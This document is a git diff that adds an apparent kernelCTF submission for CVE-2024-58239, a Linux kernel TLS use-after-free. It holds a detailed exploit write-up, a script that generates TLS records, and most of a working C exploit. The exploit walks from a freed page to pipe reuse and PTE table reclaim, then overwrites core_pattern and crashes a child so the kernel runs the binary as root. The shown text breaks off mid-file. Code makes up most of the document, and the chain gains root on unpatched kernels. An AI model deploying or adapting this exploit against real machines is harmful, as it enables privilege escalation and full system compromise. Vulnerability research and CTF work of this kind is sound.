diff --git a/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/exploit.md new file mode 100644 index 000000000..ba1073e4b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/exploit.md @@ -0,0 +1,176 @@ +# Vulnerability + +In function `tls_sw_recvmsg`, if control != TLS_RECORD_TYPE_DATA, it will continue to recv more packets. +```C + /* Process pending decrypted records. It must be non-zero-copy */ + err = process_rx_list(ctx, msg, &control, 0, len, is_peek); + if (err < 0) + goto end; + + copied = err; + if (len <= copied) + goto end; +``` + +And then when new control is TLS_RECORD_TYPE_DATA and its perform zero copy, new control different than tlm->control, function `tls_record_content_type` will return `0` + +```C +static int tls_record_content_type(struct msghdr *msg, struct tls_msg *tlm, + u8 *control) +{ + int err; + + if (!*control) { + *control = tlm->control; + if (!*control) + return -EBADMSG; + + err = put_cmsg(msg, SOL_TLS, TLS_GET_RECORD_TYPE, + sizeof(*control), control); + if (*control != TLS_RECORD_TYPE_DATA) { + if (err || msg->msg_flags & MSG_CTRUNC) + return -EIO; + } + } else if (*control != tlm->control) { + return 0; + } + + return 1; +} + +``` +Later, it will queue `darg.skb` (which is `strp->anchor`) while darg.zc==1 into rx_list. +```C + err = tls_record_content_type(msg, tls_msg(darg.skb), &control); + if (err <= 0) { + DEBUG_NET_WARN_ON_ONCE(darg.zc); + tls_rx_rec_done(ctx); +put_on_rx_list_err: + __skb_queue_tail(&ctx->rx_list, darg.skb); + goto recv_end; + } +``` + +When darg.zc == 1, its forbidden queue it into rx_list, otherwise it will lead to `strp->anchor->frag_list` and `strp->anchor` refcount issue and cause UAF. + +# Exploit + +Using this vulnerability we can add `strp->anchor` to the `rx_list` queue. If we call recvmsg on TLS socket, it will call `process_rx_list` on the kernel side and process the `strp->anchor` skb. Let see how this `strp->anchor` used when TCP data come and after tls decryption at `tls_sw_recvmsg`. + +```c +static void tls_strp_load_anchor_with_queue(struct tls_strparser *strp, int len) +{ + struct tcp_sock *tp = tcp_sk(strp->sk); + struct sk_buff *first; + u32 offset; + + first = tcp_recv_skb(strp->sk, tp->copied_seq, &offset); + if (WARN_ON_ONCE(!first)) + return; + + /* Bestow the state onto the anchor */ + strp->anchor->len = offset + len; + strp->anchor->data_len = offset + len; + strp->anchor->truesize = offset + len; + + skb_shinfo(strp->anchor)->frag_list = first; + + skb_copy_header(strp->anchor, first); + strp->anchor->destructor = NULL; + + strp->stm.offset = offset; +} +``` + +When TCP receive data, this function `tls_strp_load_anchor_with_queue` will call from `tls_strp_read_sock`. The socket buffer that comes from TCP will stored at `skb_shinfo(strp->anchor)->frag_list` so the TLS decryption have information about the SKB that want to process from just `strp->anchor. + +In `tls_sw_recvmsg` after decryption has been done, code doesn't clear `strp->anchor`. +```c +void tls_strp_msg_done(struct tls_strparser *strp) +{ + WARN_ON(!strp->stm.full_len); + + if (likely(!strp->copy_mode)) + tcp_read_done(strp->sk, strp->stm.full_len); + else + tls_strp_flush_anchor_copy(strp); + + WRITE_ONCE(strp->msg_ready, 0); + memset(&strp->stm, 0, sizeof(strp->stm)); + + tls_strp_check_rcv(strp); +} +``` +so `skb_shinfo(strp->anchor)->frag_list` remain contain old data that point to freed TCP socket buffer. + +Our idea is to access freed pages from skb data via splice syscall. In TCP we can perform zero-copy using splice by just splicing pipe data to the established TCP socket. And it will reach this code. +```c + } else if (zc == MSG_SPLICE_PAGES) { + /* Splice in data if we can; copy if we can't. */ + if (tcp_downgrade_zcopy_pure(sk, skb)) + goto wait_for_space; + copy = tcp_wmem_schedule(sk, copy); + if (!copy) + goto wait_for_space; + + err = skb_splice_from_iter(skb, &msg->msg_iter, copy, + sk->sk_allocation); + if (err < 0) { + if (err == -EMSGSIZE) { + tcp_mark_push(tp, skb); + goto new_segment; + } + goto do_error; + } + copy = err; + + if (!(flags & MSG_NO_SHARED_FRAGS)) + skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; + + sk_wmem_queued_add(sk, copy); + sk_mem_charge(sk, copy); + } +``` +So in this case if we splice pipe to the tcp socket, `msg->msg_iter` comes from pipe and then `skb_splice_from_iter` will just copy the pipe pages to the `skb_shinfo(skb)->frags`. Because we using loopback interface, the kernel will just clone the skb and arrived to the other end of TCP socket with our spliced pipe page contained inside the skb. + +Then we will have a scenario where we have `strp->anchor` is in `rx_list` queue, contain `skb_shinfo(strp->anchor)->frag_list` to the freed TCP socket buffer, and the TCP socket buffer also contain freed pipe page. + +To exploit it further, we will call `splice` to the TLS socket contain this freed pipe page. It will call `tls_sw_splice_read` and will install the freed page to the our pipe. The freed page have a `page->count` 0, and `skb_splice_bits` will just take that page and increase the `page->count` even though this page already freed. +```c +/* + * Fill page/offset/length into spd, if it can hold more pages. + */ +static bool spd_fill_page(struct splice_pipe_desc *spd, + struct pipe_inode_info *pipe, struct page *page, + unsigned int *len, unsigned int offset, + bool linear, + struct sock *sk) +{ + if (unlikely(spd->nr_pages == MAX_SKB_FRAGS)) + return true; + + if (linear) { + page = linear_to_page(page, len, &offset, sk); + if (!page) + return true; + } + if (spd_can_coalesce(spd, page, offset)) { + spd->partial[spd->nr_pages - 1].len += *len; + return false; + } + get_page(page); // install freed page to pipe + spd->pages[spd->nr_pages] = page; + spd->partial[spd->nr_pages].len = *len; + spd->partial[spd->nr_pages].offset = offset; + spd->nr_pages++; + + return false; +} +``` + +So now our pipe holds the freed page that has `page->count` equal to 1. But remember, this page is already freed and it is actually still included in the page freelists. But we still can't write to this page, because this page was installed to the pipe with `nosteal_pipe_buf_ops` and without `PIPE_BUF_FLAG_CAN_MERGE`. + +If we do a page spray with order 0 (by writing to other spray pipes), another pipe can also allocate this page, so we have two pipes pointing to the same page that has a refcount of 1. If we release the page from the first pipe (just by `read()`-ing from it), the page will return to the freelist, but the second pipe will still hold a reference to the freed page. Furthermore, the second pipe will hold the freed page with `anon_pipe_buf_ops` and `PIPE_BUF_FLAG_CAN_MERGE` set, so we can write to the freed page. + +Next we reclaim this freed page (still held by the second pipe) as a PTE page table. By reading from an anonymous mmaped memory region, the kernel will allocate a PTE page table and install the `empty_zero_page` PTE to the page table. `empty_zero_page` is located in the kernel data. By reading from the pipe that now holds the reclaimed PTE page table, we can read the `empty_zero_page` PTE. We can then calculate the physical address of any kernel target we want to write to. In this case we are targeting `core_pattern`. We calculate the `core_pattern` PTE with RW flags and write it to the page table via a pipe write. Then we just write to the anon mmaped memory because its PTE now points to the `core_pattern` page. After overwriting `core_pattern` we just crash a child process to make the kernel run our program as root to read the flag. + diff --git a/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/generate_tls_records.py b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/generate_tls_records.py new file mode 100644 index 000000000..8431a17f5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/generate_tls_records.py @@ -0,0 +1,110 @@ +from Crypto.Cipher import AES +import struct + +def generate_tls_record(plaintext, key, salt, rec_seq_int, content_type=b'\x17'): + """ + Generates a raw TLS 1.2 record with AES-CCM-128 encryption. + + Args: + plaintext (bytes): The data to encrypt. + key (bytes): The 128-bit (16-byte) encryption key. + salt (bytes): The 4-byte salt. + rec_seq_int (int): The record sequence number as an integer. + content_type (bytes, optional): The TLS record content type. + Defaults to b'\x17' (Application Data). + + Returns: + bytes: The raw TLS 1.2 record. + """ + # Convert the integer sequence number to an 8-byte big-endian byte string + rec_seq_bytes = rec_seq_int.to_bytes(8, 'big') + + # TLS protocol version for TLS 1.2 + tls_version = b'\x03\x03' + + # The 12-byte nonce is the 4-byte salt plus the 8-byte explicit sequence number + nonce = salt + rec_seq_bytes + + # Construct the Additional Authenticated Data (AAD) for integrity protection + # AAD = seq_num + TLSCompressed.type + TLSCompressed.version + TLSCompressed.length + aad = rec_seq_bytes + content_type + tls_version + struct.pack('!H', len(plaintext)) + + # Initialize AES-CCM cipher with a 16-byte (128-bit) authentication tag + cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=16) + + # Provide the AAD to the cipher + cipher.update(aad) + + # Encrypt the plaintext and get the authentication tag + ciphertext, tag = cipher.encrypt_and_digest(plaintext) + + # The encrypted payload for AEAD ciphers in TLS is: nonce_explicit + aead_ciphertext + encrypted_payload = rec_seq_bytes + ciphertext + tag + + # Construct the 5-byte TLS record header: Type (1) + Version (2) + Length (2) + record_header = content_type + tls_version + struct.pack('!H', len(encrypted_payload)) + + # The final raw TLS record to be sent + raw_tls_record = record_header + encrypted_payload + + return raw_tls_record + +def format_as_c_array(data, var_name="tls_record"): + """Formats a bytes object into a C-style unsigned char array.""" + hex_values = [f"0x{byte:02x}" for byte in data] + c_array = f"unsigned char {var_name}[] = {{\n " + + for i in range(0, len(hex_values), 12): + line = ", ".join(hex_values[i:i+12]) + c_array += line + if i + 12 < len(hex_values): + c_array += ",\n " + + c_array += "\n};\n" + c_array += f"unsigned int {var_name}_len = sizeof({var_name});" + + return c_array + +if __name__ == '__main__': + # Static parameters + key = b'\x00' * 16 + salt = b'\x00' * 4 + + # Define an array of plaintexts to send (already as bytes) + plaintexts = [ + b"Hello world", + b"Hello world", + b"Hello world" + ] + content_types = [b"\x17", b"\x16", b"\x17"] + + # Initialize the record sequence number + current_sequence_number = 0 + + # Loop through plaintexts and generate records + for i, plaintext_bytes in enumerate(plaintexts): + + # Generate the TLS record. We don't need to pass content_type + # as we are using the default value (0x17). + tls_record = generate_tls_record( + plaintext_bytes, + key, + salt, + current_sequence_number, + content_types[i] + ) + + # Format the output as a unique C array + c_array_output = format_as_c_array(tls_record, f"tls_record_{i+1}") + + # We decode the plaintext bytes here only for the comment generation + print(f"/* MESSAGE {i+1}: Raw TLS 1.2 record for plaintext: '{plaintext_bytes.decode()}' */") + print(f"/* Sequence Number: {current_sequence_number} */") + print(f"/* Content Type: 0x{b'\x17'.hex()} (Application Data) */") + print(f"/* Total length: {len(tls_record)} bytes */") + print(c_array_output) + print("\n" + "="*50 + "\n") + + # CRITICAL: Increment the sequence number for the next message + current_sequence_number += 1 + diff --git a/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..439440ebb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilities: + - Kernel configuration: CONFIG_TLS + - User namespaces required: No +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=692d7b5d1f9125a1cf0595e979e3b5fb7210547e +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=fdfbaec5923d9359698cbb286bc0deadbb717504 +- Affected Version: v5.0 - v6.7 +- Affected Component: net/tls +- Cause: Use-After-Free +- Syscall to disable: +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-58239 +- Description: A use-after-free vulnerability in the Linux kernel's net/tls diff --git a/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/Makefile b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/Makefile new file mode 100644 index 000000000..dc17ceea0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/Makefile @@ -0,0 +1,3 @@ +all: exploit +exploit: exploit.c + gcc -static -o exploit exploit.c diff --git a/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/exploit b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/exploit new file mode 100755 index 000000000..5b4b1bd22 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/exploit.c b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/exploit.c new file mode 100644 index 000000000..47de51c70 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-58239_mitigation/exploit/mitigation-v4-6.6/exploit.c @@ -0,0 +1,588 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * CVE-2024-58239 — Linux kernel TLS use-after-free via tls_sw_recvmsg / + * tls_strp_load_anchor_with_queue; exploited on mitigation-v4-6.6. + * + * Vulnerability recap: + * tls_sw_recvmsg() processes an incoming TLS record. If the next record + * has a different content type, tls_record_content_type() returns 0 and + * the code puts strp->anchor on rx_list while darg.zc == 1. + * Doing so while darg.zc == 1 is forbidden: tls_strp_msg_done() has already + * freed the TCP SKB that strp->anchor->frag_list was pointing to, leaving a + * dangling frag_list pointer inside the anchor. If that freed SKB held a + * zero-copy pipe page, we obtain a reference to a freed page — a page UAF. + * + * Exploit primitive chain: + * Page UAF → writable pipe page → PTE table reclaim → core_pattern + * write + * + * Step-by-step flow: + * 1. Prepare three TLS 1.2 AES-CCM-128 records: + * Record 1 (type 0x17, seq 0): "Hello world" — normal application + * data. Record 2 (type 0x16, seq 1): "Hello world" — triggers the type change. + * Record 3 (type 0x17, seq 2): "Hello world" — sent zero-copy via + * splice(). + * + * 2. Pre-load a splice_pipe with Record 3 bytes. splice() will send the + * pipe's backing page as a TCP zero-copy frag (MSG_SPLICE_PAGES path). On + * loopback the kernel clones the TCP SKB; the clone's frags reference our + * splice_pipe page. tls_strp_load_anchor_with_queue() sets anchor->frag_list + * to that cloned SKB; tls_strp_msg_done() then frees it, leaving + * anchor->frag_list dangling but still pointing at our splice_pipe page's + * struct page. + * + * 3. recvmsg() processes Record 2, then hits Record 3 (type change 0x16→0x17 + * → tls_record_content_type returns 0) and queues strp->anchor to rx_list while + * darg.zc==1 — the bug fires. + * + * 4. splice(conn → uaf_pipe) calls tls_sw_splice_read(), follows the + * dangling frag_list to the freed SKB, finds our splice_pipe page, and calls + * get_page() on it (refcount 0→1). The page is now in uaf_pipe via + * nosteal_pipe_buf_ops AND still lives in the page freelist — page UAF. + * + * 5. Spray PAGE_SPRAY_PIPE_COUNT anonymous pipes to reclaim the freed page. + * One pipe (the "victim pipe") obtains the page via anon_pipe_buf_ops + * with PIPE_BUF_FLAG_CAN_MERGE set, making it writable through that pipe's fd. + * + * 6. Read 1 byte from uaf_pipe → put_page() drops the refcount 1→0, + * returning the page to the freelist while the victim pipe still holds a + * reference. + * + * 7. Fault in PTE_SPRAY_MAP_COUNT anonymous mappings (each in its own 2 MB + * PMD region) to trigger PTE page-table allocations. The kernel grabs the + * freed page for one of these PTE tables and fills it with empty_zero_page + * PTEs. + * + * 8. Read back from each pipe: the victim pipe's page now contains kernel + * PTE values instead of the 'X' spray pattern. The first 8 bytes are an + * empty_zero_page PTE, revealing the physical address of empty_zero_page. + * + * 9. Compute the PTE for core_pattern's page using the physmap layout: + * core_pattern_pte = (phys_of_empty_zero_page & ~PAGE_MASK) + * - PHYSMAP_ZERO_OFFSET + * + (PHYSMAP_CORE_PATTERN & ~PAGE_MASK) + * + PTE_FLAGS_RW + * Write this PTE via victim_pte_pipe_fd[1], overwriting the PTE slot that + * maps one of our pte_trigger_maps[] to core_pattern's kernel page. + * Write "|/proc/%P/fd/666 %P" through pte_trigger_maps[] to set + * core_pattern. + * + * 10. fork() + crash a child. The kernel runs core_pattern as root, + * re-executing our binary with argv[1] = child PID. The root stage uses pidfd + * to steal the child's stdio and print /flag. + */ + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +#define PAUSE \ + { \ + int x; \ + printf(":"); \ + read(0, &x, 1); \ + } + +#define PORT 4444 + +/* Number of anonymous pipes used to spray page allocations and reclaim the UAF + * page. */ +#define PAGE_SPRAY_PIPE_COUNT 0x80 + +/* Number of anonymous mappings used to trigger PTE page-table allocations. */ +#define PTE_SPRAY_MAP_COUNT 0x100 + +/* + * Stride between consecutive anonymous mmap regions (2 MB = one PMD range). + * Placing each mapping in a distinct PMD forces the kernel to allocate a + * separate PTE page per slot on first access. PAGE_SIZE stride would cause + * all mappings to share a single PMD, defeating the reclaim primitive. + */ +#define PTE_MAP_STRIDE 0x200000 + +/* + * PTE flags written to the overwritten PTE entry: + * _PAGE_PRESENT | _PAGE_RW | _PAGE_USER | _PAGE_ACCESSED | _PAGE_DIRTY + */ +#define PTE_FLAGS_RW 0x867 + +/* + * mitigation-v4-6.6 physmap offsets: + * PHYSMAP_ZERO_OFFSET — byte offset of empty_zero_page within the physmap. + * PHYSMAP_CORE_PATTERN — byte offset of core_pattern within the physmap. + * + * The empty_zero_page PTE (read from the reclaimed PTE table page) encodes + * the physical address of empty_zero_page. Subtracting PHYSMAP_ZERO_OFFSET + * gives the physmap base, then adding PHYSMAP_CORE_PATTERN yields the physical + * address of core_pattern's page, which we encode into the replacement PTE. + */ +#define PHYSMAP_ZERO_OFFSET 0x3aba000 +#define PHYSMAP_CORE_PATTERN 0x2db3720 + +void set_cpu(int cpu) { + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(cpu, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} + +/* Enable TLS 1.2 AES-CCM-128 RX offload on sock. */ +void setup_tls(int sock) { + struct tls12_crypto_info_aes_ccm_128 crypto = {0}; + crypto.info.version = TLS_1_2_VERSION; + crypto.info.cipher_type = TLS_CIPHER_AES_CCM_128; + SYSCHK(setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls"))); + SYSCHK(setsockopt(sock, SOL_TLS, TLS_RX, &crypto, sizeof(crypto))); +} + +/* + * Crash the calling process to fire core_pattern. + * Stash our own binary at fd 666 beforehand so the kernel-launched root handler + * can re-exec us via /proc//fd/666. + */ +void crash(char *cmd) { + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + puts("Root shell !!"); + /* Trigger program crash and cause kernel to executes program from + * core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} + +/* General-purpose scratch buffer; large enough to hold a full pipe page (4 KB). + */ +char buf[0x100000]; + +/* + * PAGE_SPRAY_PIPE_COUNT anonymous pipes. + * Written with 'X'-filled pages to compete for the freed UAF page. + * Read back afterward to find which pipe's page was reclaimed as a PTE table. + */ +int page_spray_pipes[PAGE_SPRAY_PIPE_COUNT][2]; + +/* + * PTE_SPRAY_MAP_COUNT anonymous mmap regions, each in its own 2 MB PMD window. + * Faulting into any of them causes the kernel to allocate a PTE page table. + * After the PTE reclaim, one region maps directly onto core_pattern's kernel + * page. + */ +char *pte_trigger_maps[PTE_SPRAY_MAP_COUNT]; + +int main(int argc, char **argv) { + /* + * === Root stage === + * Re-executed by the kernel as root via core_pattern = + * "|/proc//fd/666 %P" + * argv[1] is the crashed child's PID. We use pidfd_getfd() to steal its + * stdio descriptors so the flag is printed to the attacker's terminal. + */ + if (argc > 1) { + int pid = strtoull(argv[1], 0, 10); + int pidfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pidfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pidfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pidfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR + * verification workflow*/ + system("cat /flag; sleep 1; echo o>/proc/sysrq-trigger"); + exit(0); + } + + /* ========================================================================= + * Setup: CPU affinity, PTE-spray maps, page-spray pipes, TCP listener. + * ========================================================================= + */ + + setvbuf(stdin, 0, _IONBF, 0); + setvbuf(stdout, 0, _IONBF, 0); + set_cpu(0); + + /* + * Allocate PTE_SPRAY_MAP_COUNT anonymous regions at PTE_MAP_STRIDE intervals. + * Each region occupies a unique 2 MB PMD window so the kernel must allocate a + * distinct PTE page table per region when it is first accessed. The regions + * are not faulted in yet — that happens later (Step 9) to reclaim the freed + * page. + */ + char *pte_map_base = (void *)0x200000; + for (int i = 0; i < PTE_SPRAY_MAP_COUNT; i++) + pte_trigger_maps[i] = + SYSCHK(mmap(pte_map_base + (size_t)PTE_MAP_STRIDE * i, 0x1000, + PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0)); + + /* Allocate the pipe pairs for the page spray (Step 7). */ + for (int i = 0; i < PAGE_SPRAY_PIPE_COUNT; i++) + pipe(page_spray_pipes[i]); + + /* TCP listener shared by all connections in this exploit. */ + int listener, conn, client; + struct sockaddr_in addr = {0}; + addr.sin_family = AF_INET; + addr.sin_port = htons(PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + + listener = socket(AF_INET, SOCK_STREAM, 0); + if (listener < 0) { + perror("socket listener"); + exit(1); + } + + int optval = 1; + setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); + if (bind(listener, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + perror("bind"); + exit(1); + } + if (listen(listener, 1) < 0) { + perror("listen"); + exit(1); + } + + /* + * Main TLS connection: + * client → sends crafted TLS records to trigger the vulnerability. + * conn → server-side socket with TLS RX offload enabled; receives + * records. + */ + client = socket(AF_INET, SOCK_STREAM, 0); + if (client < 0) { + perror("socket client"); + exit(1); + } + if (connect(client, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + perror("connect"); + exit(1); + } + printf("[*] Client connected to server\n"); + + conn = accept(listener, NULL, 0); + if (conn < 0) { + perror("accept"); + exit(1); + } + printf("[*] Server accepted connection\n"); + + /* + * splice_pipe: pre-loaded with the raw bytes of Record 3 + * (tls_spliced_record). splice(splice_pipe → client) sends the pipe's backing + * page zero-copy via the TCP MSG_SPLICE_PAGES path; the page ends up as a + * frag in the TCP SKB that carries Record 3 to conn's receive queue. + */ + int splice_pipe[2]; + pipe(splice_pipe); + + /* ========================================================================= + * Step 1: Enable TLS RX offload and craft the three TLS records. + * ========================================================================= + */ + + setup_tls(conn); + + /* + * Record 1 — content type 0x17 (Application Data), seq 0. + * Plaintext: "Hello world". + * Consuming this record causes tls_strp_load_anchor_with_queue() to set + * anchor->frag_list = TCP SKB[0], then tls_strp_msg_done() frees TCP SKB[0], + * leaving anchor->frag_list dangling after the read() call below. + */ + unsigned char tls_appdata_record[] = { + 0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x26, 0xa2, 0x33, 0xde, 0x8d, 0x94, 0xf0, + 0x29, 0x6c, 0xb1, 0xaf, 0x6a, 0x75, 0xb2, 0x93, 0xad, 0x45, + 0xd5, 0xfd, 0x03, 0x51, 0x57, 0x8f, 0xf9, 0xcc, 0x3b, 0x42}; + + /* + * Record 2 — content type 0x16 (Handshake / HelloRequest), seq 1. + * Plaintext: "Hello world". + * The type change (0x16 after 0x17) makes tls_record_content_type() + * return 0, which triggers the buggy rx_list enqueue of strp->anchor + * while darg.zc == 1. + */ + unsigned char tls_handshake_record[] = { + 0x16, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x3a, 0x1a, 0x9c, 0xd0, 0xa8, 0x9a, 0xd6, + 0x69, 0xd6, 0x1a, 0xe3, 0x3b, 0xa8, 0xaa, 0xd8, 0xbe, 0x24, + 0xb5, 0x8b, 0x44, 0x0a, 0x56, 0xb2, 0xc3, 0x12, 0x66, 0xcf}; + + /* + * Record 3 — content type 0x17 (Application Data), seq 2. + * Plaintext: "Hello world". + * Sent zero-copy via splice() so that its raw bytes live in splice_pipe's + * backing page, not in any heap buffer. The TCP zero-copy path + * (skb_splice_from_iter / MSG_SPLICE_PAGES) places that page directly as a + * frag in TCP SKB[2]. On loopback, the kernel clones TCP SKB[2] and delivers + * the clone to conn's receive queue, keeping a reference to our splice_pipe + * page. + */ + unsigned char tls_spliced_record[] = { + 0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0xe5, 0x3d, 0x19, 0x3d, 0xca, 0xb8, 0x16, + 0xb6, 0xff, 0x79, 0x87, 0x8e, 0xa1, 0xd0, 0xcd, 0x33, 0xb5, + 0x86, 0x2b, 0x17, 0xf1, 0x52, 0x2a, 0x55, 0x62, 0x65, 0x11}; + + /* ========================================================================= + * Step 2: Pre-load splice_pipe with Record 3 bytes. + * + * The splice() call in Step 4 will read from splice_pipe[0] and write + * zero-copy into the TCP stream via client. We pad the pipe to a full page + * so the TCP layer has enough data to form a complete zero-copy frag. + * ========================================================================= + */ + write(splice_pipe[1], tls_spliced_record, sizeof(tls_spliced_record)); + write(splice_pipe[1], buf, 0x800); /* Pad pipe to fill the backing page. */ + + /* ========================================================================= + * Step 3: Deliver Records 1 and 2 to conn via client. + * ========================================================================= + */ + write(client, tls_appdata_record, sizeof(tls_appdata_record)); + write(client, tls_handshake_record, sizeof(tls_handshake_record)); + + /* ========================================================================= + * Step 4: read() Record 1 on conn — sets up and immediately breaks + * anchor->frag_list. + * + * Inside the kernel: + * tls_strp_load_anchor_with_queue(): + * anchor->frag_list = TCP SKB[0] (holds Record 1 data) + * tls_strp_msg_done(): + * tcp_read_done() → kfree_skb(TCP SKB[0]) ← anchor->frag_list dangling + * + * splice(splice_pipe → client): + * TCP zero-copy path places splice_pipe's page as a frag in TCP SKB[2]. + * Loopback clones TCP SKB[2]; clone carries a reference to our pipe page. + * TCP SKB[2] clone is delivered to conn's receive queue. + * ========================================================================= + */ + read(conn, buf, + 0x100); /* Consume Record 1; anchor->frag_list set then freed. */ + + splice(splice_pipe[0], 0, client, 0, sizeof(tls_spliced_record), 0); + + /* ========================================================================= + * Step 5: recvmsg() fires the UAF — queues anchor with dangling frag_list. + * + * splice_pipe is no longer needed; close both ends before calling recvmsg. + * Create uaf_pipe now, ready to receive the freed page in Step 6. + * + * Inside the kernel during recvmsg(conn): + * 1. Processes Record 2 (type 0x16). + * 2. Processes Record 3 (type 0x17) via tls_strp_load_anchor_with_queue(): + * anchor->frag_list = TCP SKB[2] clone (holds our splice_pipe page) + * 3. Content-type mismatch (0x16 → 0x17): tls_record_content_type() returns + * 0. darg.zc == 1 (zero-copy path used for Record 3): BUG — anchor enqueued + * to rx_list. + * 4. tls_strp_msg_done(): + * tcp_read_done() → kfree_skb(TCP SKB[2]) ← anchor->frag_list + * dangling but struct page* inside the freed SKB's frags is still valid. + * ========================================================================= + */ + close(splice_pipe[0]); + close(splice_pipe[1]); + + int uaf_pipe[2]; + pipe(uaf_pipe); + + char recvmsg_data[4096]; + char recvmsg_ctrl[1024]; + struct iovec iov = { + .iov_base = recvmsg_data, + .iov_len = sizeof(recvmsg_data), + }; + struct msghdr lmsg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = recvmsg_ctrl, + .msg_controllen = sizeof(recvmsg_ctrl), + .msg_flags = 0, + }; + recvmsg(conn, &lmsg, 0); + + /* ========================================================================= + * Step 6: splice(conn → uaf_pipe) — install the freed page into uaf_pipe. + * + * Inside the kernel: + * tls_sw_splice_read() dequeues strp->anchor from rx_list. + * Follows anchor->frag_list (dangling!) to the freed TCP SKB[2] clone. + * Finds our splice_pipe page in that SKB's frags (struct page* still + * valid). spd_fill_page(): get_page(splice_pipe_page) → page refcount 0 → 1 + * (bogus increment!) Installs the page into uaf_pipe via nosteal_pipe_buf_ops + * (no PIPE_BUF_FLAG_CAN_MERGE — cannot write through uaf_pipe directly). + * + * After this call: + * - uaf_pipe holds splice_pipe_page (refcount = 1, via + * nosteal_pipe_buf_ops) + * - splice_pipe_page is still in the page freelist (the allocator never + * removed it because refcount was 0 when get_page bumped it) + * → Page UAF established. + * ========================================================================= + */ + printf("splice %ld\n", splice(conn, 0, uaf_pipe[1], 0, 1, 0)); + + /* ========================================================================= + * Step 7: Page spray — reclaim the freed page into a writable pipe. + * + * Writing 0x1000 bytes of 'X' into each of PAGE_SPRAY_PIPE_COUNT pipes + * causes the kernel to allocate one order-0 page per pipe buffer. + * The freed splice_pipe_page is in the freelist; one allocation claims it. + * That pipe — the "victim pipe" — now holds splice_pipe_page via + * anon_pipe_buf_ops with PIPE_BUF_FLAG_CAN_MERGE set, making the page + * directly writable by writing into the pipe's write-end fd. + * + * At this point two pipes reference the same physical page: + * uaf_pipe → splice_pipe_page via nosteal_pipe_buf_ops + * page_spray_pipes[victim][*] → splice_pipe_page via anon_pipe_buf_ops + * (writable) + * ========================================================================= + */ + memset(buf, 'X', 0x1000); + for (int i = 0; i < PAGE_SPRAY_PIPE_COUNT; i++) + write(page_spray_pipes[i][1], buf, 0x1000); + + /* ========================================================================= + * Step 8: Release uaf_pipe's reference — page returns to the freelist. + * + * read(uaf_pipe[0]) consumes the one byte spliced in Step 6. The kernel + * releases the pipe buffer via put_page(splice_pipe_page): refcount 1 → 0, + * page returned to the page allocator freelist. + * + * After this, only the victim pipe retains the page (writable, via + * anon_pipe_buf_ops). The page is simultaneously in the freelist (refcount + * 0) and referenced by the victim pipe — ready to be reclaimed as a PTE + * table. + * ========================================================================= + */ + int uaf_pipe_byte; + // PAUSE; + read(uaf_pipe[0], &uaf_pipe_byte, 1); + printf("crash? %c\n", uaf_pipe_byte); + + /* ========================================================================= + * Step 9: Reclaim the freed page as a kernel PTE table. + * + * Reading each pte_trigger_maps[i][0] for the first time triggers a page + * fault. The kernel allocates an order-0 PTE page table for that 2 MB PMD + * slot 